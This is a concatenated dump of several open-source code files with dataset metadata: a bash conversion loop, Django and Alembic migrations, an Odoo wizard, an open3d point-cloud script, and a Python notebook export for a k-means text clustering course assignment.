#!/usr/bin/env bash trap 'ret=$?; printf "%s\n" "$ERR_MSG" >&2; exit "$ret"' ERR for file in $(find $1 -name \*.lp.bz2) ; do echo $file outputname="../gr/subgraphs/$(basename $file).gr" ./lp2dgf.py -f $file > $outputname if [ $? -ne 0 ]; then echo 'ERROR stopping...' exit 1 fi done

21.928571

60

0.566775

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307

3.604167

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0.025

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307

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null

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null

0

1

0

1

25f55d84b2c9772cbbe9d0c481378e4191bf77e2

362

py

Python

formulario/urls.py

exildev/Rondax

a4a4cad4ec9c575a288f66a353e07e9a57362ede

[ "Apache-2.0" ]

null

formulario/urls.py

exildev/Rondax

a4a4cad4ec9c575a288f66a353e07e9a57362ede

[ "Apache-2.0" ]

null

formulario/urls.py

exildev/Rondax

a4a4cad4ec9c575a288f66a353e07e9a57362ede

[ "Apache-2.0" ]

null

from django.conf.urls import include, url from formulario import views urlpatterns = [ url(r'^form/registro/(?P<pk>\d+)/$', views.RegistroSupraForm.as_view(), name='form_registro'), url(r'^form/registro/create/$', views.RegistroCreateSupraForm.as_view(), name='form_crear_registro'), url(r'^list/campo/$', views.CampoListView.as_view(), name='campo_list'), ]

45.25

102

0.740331

50

362

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362

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null

0

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null

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25f569e19f03eb74cba3e7ed842d1742b9a17719

381

py

Python

customers/customerauth/migrations/0002_auto_20190127_0931.py

nkmrohit/python

bd644d51909cda548684b5da98eab998564f3568

[ "Apache-2.0" ]

null

customers/customerauth/migrations/0002_auto_20190127_0931.py

nkmrohit/python

bd644d51909cda548684b5da98eab998564f3568

[ "Apache-2.0" ]

null

customers/customerauth/migrations/0002_auto_20190127_0931.py

nkmrohit/python

bd644d51909cda548684b5da98eab998564f3568

[ "Apache-2.0" ]

null

# Generated by Django 2.1.4 on 2019-01-27 04:01 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('customerauth', '0001_initial'), ] operations = [ migrations.AlterField( model_name='customers', name='address', field=models.TextField(blank=True), ), ]

20.052632

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381

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381

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0.333333

0

null

0

1

0

null

0

1

25fbbd609cc07a46c89f0cadbaed9a2029ec86bf

1,739

py

Python

migrations/versions/00f001a958b1_web_dev_chapter3_quiz_total_score.py

GitauHarrison/somasoma_V1

2d74ad3b58f7e4ea5334e240d5bd30938f615e24

[ "MIT" ]

null

migrations/versions/00f001a958b1_web_dev_chapter3_quiz_total_score.py

GitauHarrison/somasoma_V1

2d74ad3b58f7e4ea5334e240d5bd30938f615e24

[ "MIT" ]

null

migrations/versions/00f001a958b1_web_dev_chapter3_quiz_total_score.py

GitauHarrison/somasoma_V1

2d74ad3b58f7e4ea5334e240d5bd30938f615e24

[ "MIT" ]

null

"""web dev chapter3 quiz total score Revision ID: 00f001a958b1 Revises: b95f0132b231 Create Date: 2022-03-02 11:57:04.695611 """ from alembic import op import sqlalchemy as sa # revision identifiers, used by Alembic. revision = '00f001a958b1' down_revision = 'b95f0132b231' branch_labels = None depends_on = None def upgrade(): # ### commands auto generated by Alembic - please adjust! ### op.create_table('web_dev_chapter3_quiz_total_score', sa.Column('id', sa.Integer(), nullable=False), sa.Column('total_score', sa.String(length=64), nullable=True), sa.Column('timestamp', sa.DateTime(), nullable=True), sa.Column('student_id', sa.Integer(), nullable=True), sa.ForeignKeyConstraint(['student_id'], ['student.id'], name=op.f('fk_web_dev_chapter3_quiz_total_score_student_id_student')), sa.PrimaryKeyConstraint('id', name=op.f('pk_web_dev_chapter3_quiz_total_score')) ) with op.batch_alter_table('web_dev_chapter3_quiz_total_score', schema=None) as batch_op: batch_op.create_index(batch_op.f('ix_web_dev_chapter3_quiz_total_score_timestamp'), ['timestamp'], unique=False) batch_op.create_index(batch_op.f('ix_web_dev_chapter3_quiz_total_score_total_score'), ['total_score'], unique=False) # ### end Alembic commands ### def downgrade(): # ### commands auto generated by Alembic - please adjust! ### with op.batch_alter_table('web_dev_chapter3_quiz_total_score', schema=None) as batch_op: batch_op.drop_index(batch_op.f('ix_web_dev_chapter3_quiz_total_score_total_score')) batch_op.drop_index(batch_op.f('ix_web_dev_chapter3_quiz_total_score_timestamp')) op.drop_table('web_dev_chapter3_quiz_total_score') # ### end Alembic commands ###

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null

0

1

0

null

0

1

25fef9ef873e5740a2ff06f1845a4837d7c9fc74

916

py

Python

pos_repair_order/wizard/assign_wizard.py

divyapy/odoo

a4b796fc8a9d291ff1b4c93e53e27f566947adf2

[ "MIT" ]

null

pos_repair_order/wizard/assign_wizard.py

divyapy/odoo

a4b796fc8a9d291ff1b4c93e53e27f566947adf2

[ "MIT" ]

null

pos_repair_order/wizard/assign_wizard.py

divyapy/odoo

a4b796fc8a9d291ff1b4c93e53e27f566947adf2

[ "MIT" ]

null

# -*- coding: utf-8 -*- from odoo import api, fields, models, _ class AssignMechanicWizard(models.TransientModel): _name = 'assign.mechanic.wizard' _description = 'Assign Mechanic Wizard' # relations mechanic_ids = fields.Many2many('hr.employee', string="Assign Mechanic") repair_id = fields.Many2one("repair.order") def assign_mechanic(self): """ Assign mechanic to the repair.order. """ self.repair_id.mechanic_ids = [(6, 0, self.mechanic_ids.ids)] return True class AssignBayWizard(models.TransientModel): _name='assign.bay.wizard' _description = 'Assign Bay Wizard' # relations bay_id = fields.Many2one("bay", "Bay") repair_id = fields.Many2one("repair.order") def assign_bay(self): """ Assign bay to the repair.order. """ self.repair_id.assign_bay_id = self.bay_id return True

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916

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0.882353

0

null

0

null

0

1

0

1

d315ddafc00e303827ed142f393b01062bb40a46

720

py

Python

PointCloudClass/down_sample.py

565353780/pointcloud-manage

77f16671ec0b88f53cd9fde2538143721f9d3ab6

[ "MIT" ]

3

2022-01-16T12:43:29.000Z

2022-01-22T05:21:40.000Z

PointCloudClass/down_sample.py

565353780/pointcloud-manage

77f16671ec0b88f53cd9fde2538143721f9d3ab6

[ "MIT" ]

null

PointCloudClass/down_sample.py

565353780/pointcloud-manage

77f16671ec0b88f53cd9fde2538143721f9d3ab6

[ "MIT" ]

null

#!/usr/bin/env python # -*- coding: utf-8 -*- import open3d as o3d def downSample(pointcloud_file_path, down_sample_cluster_num, save_pointcloud_file_path): print("[INFO][downSample]") print("\t start down sampling pointcloud :") print("\t down_sample_cluster_num = " + str(down_sample_cluster_num) + "...") pointcloud = o3d.io.read_point_cloud(pointcloud_file_path, print_progress=True) down_sampled_pointcloud = o3d.geometry.PointCloud.uniform_down_sample( pointcloud, down_sample_cluster_num) o3d.io.write_point_cloud( save_pointcloud_file_path, down_sampled_pointcloud, write_ascii=True, print_progress=True) print("SUCCESS!") return True

31.304348

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720

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0.4

0

null

0

1

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null

0

1

d3162e78a871415bab1f9452d82a894abaab0f56

44,224

py

Python

Course-4-Clustering-and-Retrieval/week-3-k-means-with-text-data_blank.py

emetnatbelt/Machine-Learning-Univ-Washington1

6e6f9cd69b69157f5c09eed299ab120bf6764de3

[ "MIT" ]

20

2017-04-06T08:50:58.000Z

2021-11-01T13:43:22.000Z

Course-4-Clustering-and-Retrieval/week-3-k-means-with-text-data_blank.py

emetnatbelt/Machine-Learning-Univ-Washington

6e6f9cd69b69157f5c09eed299ab120bf6764de3

[ "MIT" ]

null

Course-4-Clustering-and-Retrieval/week-3-k-means-with-text-data_blank.py

emetnatbelt/Machine-Learning-Univ-Washington

6e6f9cd69b69157f5c09eed299ab120bf6764de3

[ "MIT" ]

24

2016-06-01T21:28:17.000Z

2021-10-02T03:17:11.000Z

# coding: utf-8 # # k-means with text data # In this assignment you will # * Cluster Wikipedia documents using k-means # * Explore the role of random initialization on the quality of the clustering # * Explore how results differ after changing the number of clusters # * Evaluate clustering, both quantitatively and qualitatively # # When properly executed, clustering uncovers valuable insights from a set of unlabeled documents. # **Note to Amazon EC2 users**: To conserve memory, make sure to stop all the other notebooks before running this notebook. # ## Import necessary packages # The following code block will check if you have the correct version of GraphLab Create. Any version later than 1.8.5 will do. To upgrade, read [this page](https://turi.com/download/upgrade-graphlab-create.html). # In[1]: import os os.environ["OMP_NUM_THREADS"] = "1" import graphlab graphlab.SArray(range(1000)).apply(lambda x: x) # In[2]: import matplotlib.pyplot as plt import numpy as np import sys import os from scipy.sparse import csr_matrix get_ipython().magic(u'matplotlib inline') '''Check GraphLab Create version''' from distutils.version import StrictVersion assert (StrictVersion(graphlab.version) >= StrictVersion('1.8.5')), 'GraphLab Create must be version 1.8.5 or later.' # ## Load data, extract features # To work with text data, we must first convert the documents into numerical features. As in the first assignment, let's extract TF-IDF features for each article. # In[3]: wiki = graphlab.SFrame('people_wiki.gl/') # In[4]: wiki['tf_idf'] = graphlab.text_analytics.tf_idf(wiki['text']) # For the remainder of the assignment, we will use sparse matrices. Sparse matrices are matrices that have a small number of nonzero entries. A good data structure for sparse matrices would only store the nonzero entries to save space and speed up computation. SciPy provides a highly-optimized library for sparse matrices. Many matrix operations available for NumPy arrays are also available for SciPy sparse matrices. # # We first convert the TF-IDF column (in dictionary format) into the SciPy sparse matrix format. We included plenty of comments for the curious; if you'd like, you may skip the next block and treat the function as a black box. # In[5]: def sframe_to_scipy(x, column_name): ''' Convert a dictionary column of an SFrame into a sparse matrix format where each (row_id, column_id, value) triple corresponds to the value of x[row_id][column_id], where column_id is a key in the dictionary. Example >>> sparse_matrix, map_key_to_index = sframe_to_scipy(sframe, column_name) ''' assert x[column_name].dtype() == dict, 'The chosen column must be dict type, representing sparse data.' # Create triples of (row_id, feature_id, count). # 1. Add a row number. x = x.add_row_number() # 2. Stack will transform x to have a row for each unique (row, key) pair. x = x.stack(column_name, ['feature', 'value']) # Map words into integers using a OneHotEncoder feature transformation. f = graphlab.feature_engineering.OneHotEncoder(features=['feature']) # 1. Fit the transformer using the above data. f.fit(x) # 2. The transform takes 'feature' column and adds a new column 'feature_encoding'. x = f.transform(x) # 3. Get the feature mapping. mapping = f['feature_encoding'] # 4. Get the feature id to use for each key. x['feature_id'] = x['encoded_features'].dict_keys().apply(lambda x: x[0]) # Create numpy arrays that contain the data for the sparse matrix. i = np.array(x['id']) j = np.array(x['feature_id']) v = np.array(x['value']) width = x['id'].max() + 1 height = x['feature_id'].max() + 1 # Create a sparse matrix. mat = csr_matrix((v, (i, j)), shape=(width, height)) return mat, mapping # In[6]: # The conversion will take about a minute or two. tf_idf, map_index_to_word = sframe_to_scipy(wiki, 'tf_idf') # In[7]: tf_idf # The above matrix contains a TF-IDF score for each of the 59071 pages in the data set and each of the 547979 unique words. # ## Normalize all vectors # As discussed in the previous assignment, Euclidean distance can be a poor metric of similarity between documents, as it unfairly penalizes long articles. For a reasonable assessment of similarity, we should disregard the length information and use length-agnostic metrics, such as cosine distance. # # The k-means algorithm does not directly work with cosine distance, so we take an alternative route to remove length information: we normalize all vectors to be unit length. It turns out that Euclidean distance closely mimics cosine distance when all vectors are unit length. In particular, the squared Euclidean distance between any two vectors of length one is directly proportional to their cosine distance. # # We can prove this as follows. Let $\mathbf{x}$ and $\mathbf{y}$ be normalized vectors, i.e. unit vectors, so that $\|\mathbf{x}\|=\|\mathbf{y}\|=1$. Write the squared Euclidean distance as the dot product of $(\mathbf{x} - \mathbf{y})$ to itself: # \begin{align*} # \|\mathbf{x} - \mathbf{y}\|^2 &= (\mathbf{x} - \mathbf{y})^T(\mathbf{x} - \mathbf{y})\\ # &= (\mathbf{x}^T \mathbf{x}) - 2(\mathbf{x}^T \mathbf{y}) + (\mathbf{y}^T \mathbf{y})\\ # &= \|\mathbf{x}\|^2 - 2(\mathbf{x}^T \mathbf{y}) + \|\mathbf{y}\|^2\\ # &= 2 - 2(\mathbf{x}^T \mathbf{y})\\ # &= 2(1 - (\mathbf{x}^T \mathbf{y}))\\ # &= 2\left(1 - \frac{\mathbf{x}^T \mathbf{y}}{\|\mathbf{x}\|\|\mathbf{y}\|}\right)\\ # &= 2\left[\text{cosine distance}\right] # \end{align*} # # This tells us that two **unit vectors** that are close in Euclidean distance are also close in cosine distance. Thus, the k-means algorithm (which naturally uses Euclidean distances) on normalized vectors will produce the same results as clustering using cosine distance as a distance metric. # # We import the [`normalize()` function](http://scikit-learn.org/stable/modules/generated/sklearn.preprocessing.normalize.html) from scikit-learn to normalize all vectors to unit length. # In[8]: from sklearn.preprocessing import normalize tf_idf = normalize(tf_idf) # ## Implement k-means # Let us implement the k-means algorithm. First, we choose an initial set of centroids. A common practice is to choose randomly from the data points. # # **Note:** We specify a seed here, so that everyone gets the same answer. In practice, we highly recommend to use different seeds every time (for instance, by using the current timestamp). # In[9]: def get_initial_centroids(data, k, seed=None): '''Randomly choose k data points as initial centroids''' if seed is not None: # useful for obtaining consistent results np.random.seed(seed) n = data.shape[0] # number of data points # Pick K indices from range [0, N). rand_indices = np.random.randint(0, n, k) # Keep centroids as dense format, as many entries will be nonzero due to averaging. # As long as at least one document in a cluster contains a word, # it will carry a nonzero weight in the TF-IDF vector of the centroid. centroids = data[rand_indices,:].toarray() return centroids # After initialization, the k-means algorithm iterates between the following two steps: # 1. Assign each data point to the closest centroid. # $$ # z_i \gets \mathrm{argmin}_j \|\mu_j - \mathbf{x}_i\|^2 # $$ # 2. Revise centroids as the mean of the assigned data points. # $$ # \mu_j \gets \frac{1}{n_j}\sum_{i:z_i=j} \mathbf{x}_i # $$ # In pseudocode, we iteratively do the following: # ``` # cluster_assignment = assign_clusters(data, centroids) # centroids = revise_centroids(data, k, cluster_assignment) # ``` # ### Assigning clusters # How do we implement Step 1 of the main k-means loop above? First import `pairwise_distances` function from scikit-learn, which calculates Euclidean distances between rows of given arrays. See [this documentation](http://scikit-learn.org/stable/modules/generated/sklearn.metrics.pairwise.pairwise_distances.html) for more information. # # For the sake of demonstration, let's look at documents 100 through 102 as query documents and compute the distances between each of these documents and every other document in the corpus. In the k-means algorithm, we will have to compute pairwise distances between the set of centroids and the set of documents. # In[10]: from sklearn.metrics import pairwise_distances # Get the TF-IDF vectors for documents 100 through 102. queries = tf_idf[100:102,:] # Compute pairwise distances from every data point to each query vector. dist = pairwise_distances(tf_idf, queries, metric='euclidean') print dist # More formally, `dist[i,j]` is assigned the distance between the `i`th row of `X` (i.e., `X[i,:]`) and the `j`th row of `Y` (i.e., `Y[j,:]`). # **Checkpoint:** For a moment, suppose that we initialize three centroids with the first 3 rows of `tf_idf`. Write code to compute distances from each of the centroids to all data points in `tf_idf`. Then find the distance between row 430 of `tf_idf` and the second centroid and save it to `dist`. # In[14]: # Students should write code here centroids = tf_idf[:3,:] distances = pairwise_distances(tf_idf, centroids, metric='euclidean') distances.shape # In[15]: dist = distances[430, 1] # In[16]: '''Test cell''' if np.allclose(dist, pairwise_distances(tf_idf[430,:], tf_idf[1,:])): print('Pass') else: print('Check your code again') # **Checkpoint:** Next, given the pairwise distances, we take the minimum of the distances for each data point. Fittingly, NumPy provides an `argmin` function. See [this documentation](http://docs.scipy.org/doc/numpy-1.10.1/reference/generated/numpy.argmin.html) for details. # # Read the documentation and write code to produce a 1D array whose i-th entry indicates the centroid that is the closest to the i-th data point. Use the list of distances from the previous checkpoint and save them as `distances`. The value 0 indicates closeness to the first centroid, 1 indicates closeness to the second centroid, and so forth. Save this array as `closest_cluster`. # # **Hint:** the resulting array should be as long as the number of data points. # In[17]: # Students should write code here closest_cluster = np.argmin(distances, axis=1) # In[18]: '''Test cell''' reference = [list(row).index(min(row)) for row in distances] if np.allclose(closest_cluster, reference): print('Pass') else: print('Check your code again') # **Checkpoint:** Let's put these steps together. First, initialize three centroids with the first 3 rows of `tf_idf`. Then, compute distances from each of the centroids to all data points in `tf_idf`. Finally, use these distance calculations to compute cluster assignments and assign them to `cluster_assignment`. # In[19]: # Students should write code here centroids = tf_idf[:3,:] distances = pairwise_distances(tf_idf, centroids, metric='euclidean') cluster_assignment = np.argmin(distances, axis=1) # In[20]: if len(cluster_assignment)==59071 and np.array_equal(np.bincount(cluster_assignment), np.array([23061, 10086, 25924])): print('Pass') # count number of data points for each cluster else: print('Check your code again.') # Now we are ready to fill in the blanks in this function: # In[21]: def assign_clusters(data, centroids): # Compute distances between each data point and the set of centroids: # Fill in the blank (RHS only) distances_from_centroids = pairwise_distances(data, centroids, metric='euclidean') # Compute cluster assignments for each data point: # Fill in the blank (RHS only) cluster_assignment = np.argmin(distances_from_centroids, axis=1) return cluster_assignment # **Checkpoint**. For the last time, let us check if Step 1 was implemented correctly. With rows 0, 2, 4, and 6 of `tf_idf` as an initial set of centroids, we assign cluster labels to rows 0, 10, 20, ..., and 90 of `tf_idf`. The resulting cluster labels should be `[0, 1, 1, 0, 0, 2, 0, 2, 2, 1]`. # In[22]: if np.allclose(assign_clusters(tf_idf[0:100:10], tf_idf[0:8:2]), np.array([0, 1, 1, 0, 0, 2, 0, 2, 2, 1])): print('Pass') else: print('Check your code again.') # ### Revising clusters # Let's turn to Step 2, where we compute the new centroids given the cluster assignments. # SciPy and NumPy arrays allow for filtering via Boolean masks. For instance, we filter all data points that are assigned to cluster 0 by writing # ``` # data[cluster_assignment==0,:] # ``` # To develop intuition about filtering, let's look at a toy example consisting of 3 data points and 2 clusters. # In[23]: data = np.array([[1., 2., 0.], [0., 0., 0.], [2., 2., 0.]]) centroids = np.array([[0.5, 0.5, 0.], [0., -0.5, 0.]]) # Let's assign these data points to the closest centroid. # In[24]: cluster_assignment = assign_clusters(data, centroids) print cluster_assignment # The expression `cluster_assignment==1` gives a list of Booleans that says whether each data point is assigned to cluster 1 or not: # In[25]: cluster_assignment==1 # Likewise for cluster 0: # In[27]: cluster_assignment==0 # In lieu of indices, we can put in the list of Booleans to pick and choose rows. Only the rows that correspond to a `True` entry will be retained. # # First, let's look at the data points (i.e., their values) assigned to cluster 1: # In[28]: data[cluster_assignment==1] # This makes sense since [0 0 0] is closer to [0 -0.5 0] than to [0.5 0.5 0]. # # Now let's look at the data points assigned to cluster 0: # In[29]: data[cluster_assignment==0] # Again, this makes sense since these values are each closer to [0.5 0.5 0] than to [0 -0.5 0]. # # Given all the data points in a cluster, it only remains to compute the mean. Use [np.mean()](http://docs.scipy.org/doc/numpy-1.10.0/reference/generated/numpy.mean.html). By default, the function averages all elements in a 2D array. To compute row-wise or column-wise means, add the `axis` argument. See the linked documentation for details. # # Use this function to average the data points in cluster 0: # In[30]: data[cluster_assignment==0].mean(axis=0) # We are now ready to complete this function: # In[31]: def revise_centroids(data, k, cluster_assignment): new_centroids = [] for i in xrange(k): # Select all data points that belong to cluster i. Fill in the blank (RHS only) member_data_points = data[cluster_assignment == i] # Compute the mean of the data points. Fill in the blank (RHS only) centroid = member_data_points.mean(axis=0) # Convert numpy.matrix type to numpy.ndarray type centroid = centroid.A1 new_centroids.append(centroid) new_centroids = np.array(new_centroids) return new_centroids # **Checkpoint**. Let's check our Step 2 implementation. Letting rows 0, 10, ..., 90 of `tf_idf` as the data points and the cluster labels `[0, 1, 1, 0, 0, 2, 0, 2, 2, 1]`, we compute the next set of centroids. Each centroid is given by the average of all member data points in corresponding cluster. # In[32]: result = revise_centroids(tf_idf[0:100:10], 3, np.array([0, 1, 1, 0, 0, 2, 0, 2, 2, 1])) if np.allclose(result[0], np.mean(tf_idf[[0,30,40,60]].toarray(), axis=0)) and np.allclose(result[1], np.mean(tf_idf[[10,20,90]].toarray(), axis=0)) and np.allclose(result[2], np.mean(tf_idf[[50,70,80]].toarray(), axis=0)): print('Pass') else: print('Check your code') # ### Assessing convergence # How can we tell if the k-means algorithm is converging? We can look at the cluster assignments and see if they stabilize over time. In fact, we'll be running the algorithm until the cluster assignments stop changing at all. To be extra safe, and to assess the clustering performance, we'll be looking at an additional criteria: the sum of all squared distances between data points and centroids. This is defined as # $$ # J(\mathcal{Z},\mu) = \sum_{j=1}^k \sum_{i:z_i = j} \|\mathbf{x}_i - \mu_j\|^2. # $$ # The smaller the distances, the more homogeneous the clusters are. In other words, we'd like to have "tight" clusters. # In[33]: def compute_heterogeneity(data, k, centroids, cluster_assignment): heterogeneity = 0.0 for i in xrange(k): # Select all data points that belong to cluster i. Fill in the blank (RHS only) member_data_points = data[cluster_assignment==i, :] if member_data_points.shape[0] > 0: # check if i-th cluster is non-empty # Compute distances from centroid to data points (RHS only) distances = pairwise_distances(member_data_points, [centroids[i]], metric='euclidean') squared_distances = distances**2 heterogeneity += np.sum(squared_distances) return heterogeneity # Let's compute the cluster heterogeneity for the 2-cluster example we've been considering based on our current cluster assignments and centroids. # In[34]: compute_heterogeneity(data, 2, centroids, cluster_assignment) # ### Combining into a single function # Once the two k-means steps have been implemented, as well as our heterogeneity metric we wish to monitor, it is only a matter of putting these functions together to write a k-means algorithm that # # * Repeatedly performs Steps 1 and 2 # * Tracks convergence metrics # * Stops if either no assignment changed or we reach a certain number of iterations. # In[35]: # Fill in the blanks def kmeans(data, k, initial_centroids, maxiter, record_heterogeneity=None, verbose=False): '''This function runs k-means on given data and initial set of centroids. maxiter: maximum number of iterations to run. record_heterogeneity: (optional) a list, to store the history of heterogeneity as function of iterations if None, do not store the history. verbose: if True, print how many data points changed their cluster labels in each iteration''' centroids = initial_centroids[:] prev_cluster_assignment = None for itr in xrange(maxiter): if verbose: print(itr) # 1. Make cluster assignments using nearest centroids # YOUR CODE HERE cluster_assignment = assign_clusters(data, centroids) # 2. Compute a new centroid for each of the k clusters, averaging all data points assigned to that cluster. # YOUR CODE HERE centroids = revise_centroids(data, k, cluster_assignment) # Check for convergence: if none of the assignments changed, stop if prev_cluster_assignment is not None and (prev_cluster_assignment==cluster_assignment).all(): break # Print number of new assignments if prev_cluster_assignment is not None: num_changed = np.sum(prev_cluster_assignment!=cluster_assignment) if verbose: print(' {0:5d} elements changed their cluster assignment.'.format(num_changed)) # Record heterogeneity convergence metric if record_heterogeneity is not None: # YOUR CODE HERE score = compute_heterogeneity(data, k, centroids, cluster_assignment) record_heterogeneity.append(score) prev_cluster_assignment = cluster_assignment[:] return centroids, cluster_assignment # ## Plotting convergence metric # We can use the above function to plot the convergence metric across iterations. # In[36]: def plot_heterogeneity(heterogeneity, k): plt.figure(figsize=(7,4)) plt.plot(heterogeneity, linewidth=4) plt.xlabel('# Iterations') plt.ylabel('Heterogeneity') plt.title('Heterogeneity of clustering over time, K={0:d}'.format(k)) plt.rcParams.update({'font.size': 16}) plt.tight_layout() # Let's consider running k-means with K=3 clusters for a maximum of 400 iterations, recording cluster heterogeneity at every step. Then, let's plot the heterogeneity over iterations using the plotting function above. # In[37]: k = 3 heterogeneity = [] initial_centroids = get_initial_centroids(tf_idf, k, seed=0) centroids, cluster_assignment = kmeans(tf_idf, k, initial_centroids, maxiter=400, record_heterogeneity=heterogeneity, verbose=True) plot_heterogeneity(heterogeneity, k) # **Quiz Question**. (True/False) The clustering objective (heterogeneity) is non-increasing for this example. # **Quiz Question**. Let's step back from this particular example. If the clustering objective (heterogeneity) would ever increase when running k-means, that would indicate: (choose one) # # 1. k-means algorithm got stuck in a bad local minimum # 2. There is a bug in the k-means code # 3. All data points consist of exact duplicates # 4. Nothing is wrong. The objective should generally go down sooner or later. # **Quiz Question**. Which of the cluster contains the greatest number of data points in the end? Hint: Use [`np.bincount()`](http://docs.scipy.org/doc/numpy-1.11.0/reference/generated/numpy.bincount.html) to count occurrences of each cluster label. # 1. Cluster #0 # 2. Cluster #1 # 3. Cluster #2 # In[38]: np.bincount(cluster_assignment) # ## Beware of local maxima # One weakness of k-means is that it tends to get stuck in a local minimum. To see this, let us run k-means multiple times, with different initial centroids created using different random seeds. # # **Note:** Again, in practice, you should set different seeds for every run. We give you a list of seeds for this assignment so that everyone gets the same answer. # # This may take several minutes to run. # In[40]: k = 10 heterogeneity = {} import time start = time.time() for seed in [0, 20000, 40000, 60000, 80000, 100000, 120000]: initial_centroids = get_initial_centroids(tf_idf, k, seed) centroids, cluster_assignment = kmeans(tf_idf, k, initial_centroids, maxiter=400, record_heterogeneity=None, verbose=False) # To save time, compute heterogeneity only once in the end heterogeneity[seed] = compute_heterogeneity(tf_idf, k, centroids, cluster_assignment) # New line for quiz question print('seed={0:06d}, heterogeneity={1:.5f}, max cluster size={2}'.format(seed, heterogeneity[seed], max(np.bincount(cluster_assignment)))) sys.stdout.flush() end = time.time() print(end-start) # Notice the variation in heterogeneity for different initializations. This indicates that k-means sometimes gets stuck at a bad local minimum. # **Quiz Question**. Another way to capture the effect of changing initialization is to look at the distribution of cluster assignments. Add a line to the code above to compute the size (# of member data points) of clusters for each run of k-means. Look at the size of the largest cluster (most # of member data points) across multiple runs, with seeds 0, 20000, ..., 120000. How much does this measure vary across the runs? What is the minimum and maximum values this quantity takes? # One effective way to counter this tendency is to use **k-means++** to provide a smart initialization. This method tries to spread out the initial set of centroids so that they are not too close together. It is known to improve the quality of local optima and lower average runtime. # In[41]: def smart_initialize(data, k, seed=None): '''Use k-means++ to initialize a good set of centroids''' if seed is not None: # useful for obtaining consistent results np.random.seed(seed) centroids = np.zeros((k, data.shape[1])) # Randomly choose the first centroid. # Since we have no prior knowledge, choose uniformly at random idx = np.random.randint(data.shape[0]) centroids[0] = data[idx,:].toarray() # Compute distances from the first centroid chosen to all the other data points squared_distances = pairwise_distances(data, centroids[0:1], metric='euclidean').flatten()**2 for i in xrange(1, k): # Choose the next centroid randomly, so that the probability for each data point to be chosen # is directly proportional to its squared distance from the nearest centroid. # Roughtly speaking, a new centroid should be as far as from ohter centroids as possible. idx = np.random.choice(data.shape[0], 1, p=squared_distances/sum(squared_distances)) centroids[i] = data[idx,:].toarray() # Now compute distances from the centroids to all data points squared_distances = np.min(pairwise_distances(data, centroids[0:i+1], metric='euclidean')**2,axis=1) return centroids # Let's now rerun k-means with 10 clusters using the same set of seeds, but always using k-means++ to initialize the algorithm. # # This may take several minutes to run. # In[42]: k = 10 heterogeneity_smart = {} start = time.time() for seed in [0, 20000, 40000, 60000, 80000, 100000, 120000]: initial_centroids = smart_initialize(tf_idf, k, seed) centroids, cluster_assignment = kmeans(tf_idf, k, initial_centroids, maxiter=400, record_heterogeneity=None, verbose=False) # To save time, compute heterogeneity only once in the end heterogeneity_smart[seed] = compute_heterogeneity(tf_idf, k, centroids, cluster_assignment) print('seed={0:06d}, heterogeneity={1:.5f}'.format(seed, heterogeneity_smart[seed])) sys.stdout.flush() end = time.time() print(end-start) # Let's compare the set of cluster heterogeneities we got from our 7 restarts of k-means using random initialization compared to the 7 restarts of k-means using k-means++ as a smart initialization. # # The following code produces a [box plot](http://matplotlib.org/api/pyplot_api.html) for each of these methods, indicating the spread of values produced by each method. # In[43]: plt.figure(figsize=(8,5)) plt.boxplot([heterogeneity.values(), heterogeneity_smart.values()], vert=False) plt.yticks([1, 2], ['k-means', 'k-means++']) plt.rcParams.update({'font.size': 16}) plt.tight_layout() # A few things to notice from the box plot: # * On average, k-means++ produces a better clustering than Random initialization. # * Variation in clustering quality is smaller for k-means++. # **In general, you should run k-means at least a few times with different initializations and then return the run resulting in the lowest heterogeneity.** Let us write a function that runs k-means multiple times and picks the best run that minimizes heterogeneity. The function accepts an optional list of seed values to be used for the multiple runs; if no such list is provided, the current UTC time is used as seed values. # In[44]: def kmeans_multiple_runs(data, k, maxiter, num_runs, seed_list=None, verbose=False): heterogeneity = {} min_heterogeneity_achieved = float('inf') best_seed = None final_centroids = None final_cluster_assignment = None for i in xrange(num_runs): # Use UTC time if no seeds are provided if seed_list is not None: seed = seed_list[i] np.random.seed(seed) else: seed = int(time.time()) np.random.seed(seed) # Use k-means++ initialization # YOUR CODE HERE initial_centroids = smart_initialize(data, k, seed) # Run k-means # YOUR CODE HERE centroids, cluster_assignment = kmeans(data, k, initial_centroids, maxiter, record_heterogeneity=None, verbose=False) # To save time, compute heterogeneity only once in the end # YOUR CODE HERE heterogeneity[seed] = compute_heterogeneity(data, k, centroids, cluster_assignment) if verbose: print('seed={0:06d}, heterogeneity={1:.5f}'.format(seed, heterogeneity[seed])) sys.stdout.flush() # if current measurement of heterogeneity is lower than previously seen, # update the minimum record of heterogeneity. if heterogeneity[seed] < min_heterogeneity_achieved: min_heterogeneity_achieved = heterogeneity[seed] best_seed = seed final_centroids = centroids final_cluster_assignment = cluster_assignment # Return the centroids and cluster assignments that minimize heterogeneity. return final_centroids, final_cluster_assignment # ## How to choose K # Since we are measuring the tightness of the clusters, a higher value of K reduces the possible heterogeneity metric by definition. For example, if we have N data points and set K=N clusters, then we could have 0 cluster heterogeneity by setting the N centroids equal to the values of the N data points. (Note: Not all runs for larger K will result in lower heterogeneity than a single run with smaller K due to local optima.) Let's explore this general trend for ourselves by performing the following analysis. # Use the `kmeans_multiple_runs` function to run k-means with five different values of K. For each K, use k-means++ and multiple runs to pick the best solution. In what follows, we consider K=2,10,25,50,100 and 7 restarts for each setting. # # **IMPORTANT: The code block below will take about one hour to finish. We highly suggest that you use the arrays that we have computed for you.** # # Side note: In practice, a good implementation of k-means would utilize parallelism to run multiple runs of k-means at once. For an example, see [scikit-learn's KMeans](http://scikit-learn.org/stable/modules/generated/sklearn.cluster.KMeans.html). # In[ ]: #def plot_k_vs_heterogeneity(k_values, heterogeneity_values): # plt.figure(figsize=(7,4)) # plt.plot(k_values, heterogeneity_values, linewidth=4) # plt.xlabel('K') # plt.ylabel('Heterogeneity') # plt.title('K vs. Heterogeneity') # plt.rcParams.update({'font.size': 16}) # plt.tight_layout() #start = time.time() #centroids = {} #cluster_assignment = {} #heterogeneity_values = [] #k_list = [2, 10, 25, 50, 100] #seed_list = [0, 20000, 40000, 60000, 80000, 100000, 120000] #for k in k_list: # heterogeneity = [] # centroids[k], cluster_assignment[k] = kmeans_multiple_runs(tf_idf, k, maxiter=400, # num_runs=len(seed_list), # seed_list=seed_list, # verbose=True) # score = compute_heterogeneity(tf_idf, k, centroids[k], cluster_assignment[k]) # heterogeneity_values.append(score) #plot_k_vs_heterogeneity(k_list, heterogeneity_values) #end = time.time() #print(end-start) # To use the pre-computed NumPy arrays, first download kmeans-arrays.npz as mentioned in the reading for this assignment and load them with the following code. Make sure the downloaded file is in the 